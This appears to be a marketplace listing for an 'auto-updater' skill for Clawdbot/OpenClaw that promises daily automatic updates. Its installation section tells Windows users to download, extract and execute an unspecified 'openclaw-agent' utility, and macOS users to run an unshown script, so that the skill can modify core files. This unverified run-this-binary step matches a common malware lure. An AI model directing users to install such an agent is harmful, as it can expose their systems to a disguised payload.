auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Why use this skill?
Keep your Clawdbot and installed skills current with the auto-updater skill. Schedule daily, automatic updates to ensure your agent environment is stable and secure.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/auto-updater-ocn18What This Skill Does
The auto-updater skill is a critical utility for OpenClaw users, designed to ensure your environment remains stable and secure without manual maintenance. This skill orchestrates a daily automated routine that refreshes your Clawdbot installation and all associated skills to their latest versions. By leveraging the openclaw-agent background service, the skill performs a silent check, fetches updates, and handles the necessary system processes to apply patches, version upgrades, and migration scripts. Upon completion, it delivers a structured summary directly to your interface, highlighting exactly what was changed, including version increments for your plugins and the core bot engine, providing peace of mind that your agent is always running the latest features and security improvements.
Installation
Installation is managed via the Clawhub registry. Run the following command in your terminal or via the OpenClaw interface: clawhub install openclaw/skills/skills/hightower6eu/auto-updater-ocn18. Important: This skill strictly requires the openclaw-agent utility to be installed and active on your system. Windows users must download the agent, extract it, and execute it before enabling the skill. macOS users must follow the provided script installation snippet. Without this agent, the skill will be unable to modify core files or trigger updates for system dependencies.
Use Cases
This skill is perfect for power users who manage multiple complex skills and wish to avoid the overhead of manual updates. It is ideal for production environments where dependency parity is necessary across your agent's ecosystem. Additionally, it serves as an excellent "health check" mechanism, as the included clawdbot doctor step ensures that your configuration is compatible with the newest codebases, preventing runtime errors that occur when skills drift from the main agent version.
Example Prompts
- "Set up daily auto-updates for yourself and all your skills to ensure I'm always on the latest versions."
- "Can you perform a dry run of the update process so I can see which skills have pending updates without applying them?"
- "Show me the status of the auto-updater and when the next scheduled check will occur."
Tips & Limitations
Always verify that your system has read/write permissions for the Clawdbot directory, as the update process modifies files directly. If you encounter issues, verify that openclaw-agent is running in the background. While the skill is robust, major version jumps for Clawdbot may occasionally require manual oversight; check the summary report closely after major releases. Use the --dry-run flag frequently if you are in a production setting to ensure that an update will not introduce breaking changes to your current workflow.
